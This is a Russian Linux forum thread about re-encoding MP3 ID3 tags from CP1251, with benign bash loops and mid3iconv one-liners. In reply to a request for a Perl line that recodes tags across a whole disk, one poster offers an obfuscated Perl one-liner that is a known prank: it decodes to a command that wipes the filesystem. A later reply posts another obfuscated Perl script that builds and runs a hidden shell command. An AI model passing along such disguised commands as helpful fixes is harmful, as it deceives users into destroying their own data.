теги...забыл как..

for i in $MP3PATH/*mp3; do id3tag -s"`id3info "${i}" | iconv -f $CP1251 -t $KOI8R | grep "=== TIT2" | sed -e 's/^.*: //'` " "${i}" > /dev/null && id3tag -a"`id3info "${i}" | iconv -f $CP1251 -t $KOI8R | grep "=== TPE1" | sed -e 's/^.*: //'`" "${i}" > /dev/null && id3tag -A"`id3info "${i}" | iconv -f $CP1251 -t $KOI8R | grep "=== TALB" | sed -e 's/^.*: //'`" "${i}" > /dev/null; done

Полностью рабочий вариант:

#!/bin/bash
echo Где лежат mp3?;read MP3PATH;
echo В какой они кодировке?;read CP1251;
echo В какую кодировку переводить?;read KOI8R;
for i in $MP3PATH/*mp3; do id3tag -s"`id3info "${i}" | iconv -f $CP1251 -t $KOI8R | grep "=== TIT2" | sed -e 's/^.*: //'` " "${i}" > /dev/null && id3tag -a"`id3info "${i}" | iconv -f $CP1251 -t $KOI8R | grep "=== TPE1" | sed -e 's/^.*: //'`" "${i}" > /dev/null && id3tag -A"`id3info "${i}" | iconv -f $CP1251 -t $KOI8R | grep "=== TALB" | sed -e 's/^.*: //'`" "${i}" > /dev/null; done
echo ____________________________;
echo \|СПИСОК ОБРАБОТАННЫХ ФАЙЛОВ\|;
echo ^^^^^^^^^^^^^^^^^^^^^^^^^^^^;
ls -i $MP3PATH|grep *mp3

find -iname '*.mp3' -print0 | xargs -0 mid3iconv -eCP1251 --remove-v1

спасибо всем ..но вот это я искал...

помнится, была какая-то замечательная строчка на перле, она теги на всем диске перекодировала...

> помнится, была какая-то замечательная строчка на перле, она теги на всем диске перекодировала...

Эта?

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Ньюфагам: http://www.linux.org.ru/view-message.jsp?msgid=392747

> for i in $MP3PATH/*mp3; do id3tag -s"`id3info "${i}" | iconv -f $CP1251 -t $KOI8R | grep "=== TIT2" | sed -e 's/^.*: //'` " "${i}" > /dev/null && id3tag -a"`id3info "${i}" | iconv -f $CP1251 -t $KOI8R | grep "=== TPE1" | sed -e 's/^.*: //'`" "${i}" > /dev/null && id3tag -A"`id3info "${i}" | iconv -f $CP1251 -t $KOI8R | grep "=== TALB" | sed -e 's/^.*: //'`" "${i}" > /dev/null; done

Тру. Вот мой ламерский вариант:

mid3iconv -e cp1251 --remove-v1 *.mp3

Неа

#!/usr/bin/perl -w
$\='`'|"'";$\++;$;='/'|'`';$;++;$;++;$;++;$,=$;;$,++;$/=$,;$/++;$:=$/;$:++;$_=
'%'|'`';$_.='`'|'#';$_.=$\;$_.='`'|'/';$_.=$".'"';$_.='@'|'*'&~'!';$_.="$:$,$/"
.$";$_.='`'|'!';$_.='`'|'.';$_.='/'|'`';$_.=$/.$\;$_.='%'|'`';$_.=$;.$";$_.='@'
|':'&~'*';$_.='`'|'%';$_.=$;;$_.='`'|',';$_.=$".$\;$_.='`'|'!';$_.='#'|'`';$_.=
'+'|'`';$_.='`'|'%';$_.=$;.'"'.$".'>&';$_.=$,&':';`$_`;

Всего-то...